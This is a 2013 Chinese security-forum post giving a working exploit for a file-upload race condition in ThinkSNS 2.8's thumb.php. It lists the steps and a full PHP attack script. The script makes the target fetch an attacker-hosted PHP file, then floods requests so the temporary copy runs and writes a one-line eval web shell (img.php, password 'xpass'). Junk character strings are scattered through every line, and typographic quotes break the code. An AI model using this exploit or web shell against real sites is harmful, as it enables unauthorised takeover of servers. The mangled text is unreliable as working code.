找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1900|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
  i/ k- ]; Q7 `* |存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)$ x8 [- o* A! ~, u
漏洞文件
/ w9 n& M* n% T4 L) t& q; D存在漏洞的文件为:thumb.php0 z) w% ]) t" e  t  T+ `
作者:韦鲲鹏8 n* }1 A4 D/ B
1、        准备如下PHP文件并上传到服务器(自己的)。
2 c/ L+ G% k2 M1 {文件内容如下:
2 z( R- I  g$ x0 {+ S  |  Q# `<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>7 s( w" ^" Z, `) G5 Q' m
2、        计算出临时的文件名:
( r* ?- P1 ?. |1 X这里我们可以看文件的99行(刚刚是不是没注意呀!)。
/ E2 o3 e+ k/ B2 n* a, s4 ?& }) e9 Q! ]
3、        上传临时文件。% J6 s6 h1 y9 J, {4 v6 P4 k
4、        访问临时文件。
& w; ?* y- U# @0 k( J$ `1 I. v" N但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): s9 U3 I  ~6 h9 l
Exploit文件内容如下:(这个我就不详细解释了)
: C2 Z# x& [2 O" ?) c<?php
' d5 L2 Z0 M/ |& _8 u1 b3 r" {error_reporting(0);: g2 b0 _0 z9 Z! y1 Z
set_time_limit(0);
! ^5 u7 l5 C, e4 O# f7 sini_set(“default_socket_timeout”, 5);
! |- Q" S. ]3 h5 w; w2 V# vfunction http_send($host, $port, $headers) {
$ {5 l/ U# g# J; A+ x' }$fp = fsockopen($host, $port);" T$ P5 B4 {6 C" A* {  E# G+ s& C
if (!$fp) die(‘Connection -> fail’);
, `- d* |+ d, W7 `  I1 t6 W; hfputs($fp, $headers);/ C2 q9 R) @$ m
return $fp;
2 ]4 G1 q; l  a) f) M9 p3 l/ n}
! E5 `) J1 g2 H6 S4 Lfunction http_recv($fp) {
5 j$ r: M1 j& t# i8 W. ?  z$ret=”";
1 d! j9 M! F9 }. V! o0 p. Xwhile (!feof($fp))
( R; b. q% B: f$ret.= fgets($fp, 1024);
9 [3 G" A- V5 X, _fclose($fp);
( {$ |2 \. K, E! ~" c9 Ereturn $ret;. D. z, z- C6 Y! b  u; T( r: O
}: R0 F! e# q' d# c
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
# o4 L$ O+ `) u" p! dprint “# Discovered by 韦鲲鹏 #\n\n”;
5 [% U5 i. H, z2 l  D; Dif ($argc < 4) {7 @( ?& H/ o/ `, N2 v  {1 h/ r
print “Usage:   php <host> <path> <romote_url>\n”;  t' N" G' V. o- g8 y3 a: u8 O! Z. U
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;  m, N1 n/ u/ u  Q9 Y: h& Q& ^
die();! Q1 q% T( P& [* z6 H& B, k
}  o7 [0 b1 T( I, [( f  p1 [
$host = $argv[1];
' [1 w! C3 A8 Y  Z+ Q$path = $argv[2];: m2 ?6 j$ \# B
$url = $argv[3];, u3 ~, A5 B! ^& i% X4 ^
$i=0;
7 ~0 f: r- {0 d! ?1 Z2 O//上传数据包! g2 u4 B- g6 G9 o5 z$ v" f1 [, U
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
3 j  N* Q) u- l  ]. I$headers_up .= “Host: “.$host.”\r\n”;9 `( x' C, {2 J3 ?0 ^# P. K0 o- p
$headers_up .= “Connection: close\r\n\r\n”;
  U8 j" |3 P+ U; h) e- X: eecho $headers_up;2 g/ M% ?# @0 w5 n* v; b9 _
//临时文件访问数据包
! i! N! `; U9 i0 O$ |9 x$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: j- b3 |" j5 V" |+ v' s$ G; [) a$headers .= “Host: “.$host.”\r\n”;
8 R! q' ~- H7 W5 v9 J! C! u! \" \$headers .= “Connection: close\r\n\r\n”;' |# x% B7 r* A) }" b
echo $headers;: F. q8 T; t/ ^' O: C
while(++$i<10) {
' R4 I7 n8 j( F2 i3 vfclose(http_send($host, 80, $headers));0 ^1 y" m0 q% G
}
% W2 k$ _9 C- a( Hfclose(http_send($host, 80, $headers_up));
, B( t# f3 P3 c; Xwhile(++$i<50) {9 |, x) K' G6 }* L4 a% a
fclose(http_send($host, 80, $headers));8 }/ R6 w6 o2 s( e. S1 W7 a( U
}
6 Y, f+ J% }; [& Y3 Y& N, f$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
; P5 ]1 ~+ i3 f* K# N5 R$headers .= “Host: “.$host.”\r\n”;! z# }" K  E7 d" a& b9 n5 o
$headers .= “Connection: close\r\n\r\n”;
# ^9 n4 Q5 \" ^$res=http_recv(http_send($host, 80, $headers));6 M" G4 i& a6 B5 g' [  R6 I+ S
if(preg_match(‘/200 OK/’,$res)) {
' q: G) Y0 z4 Q2 m, j; r( Wprint “Success!\n\n”;+ Q' r( |$ y0 c5 X8 z. Y6 B
} else {) ], ~" L5 R1 Q6 B& n( f
print “Fail!\n\n”;% P& X2 a: _% N
}( f- G( v( c+ G: M- U- Y0 \  S: Z" r
?>
& G+ t' w8 M; W: m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表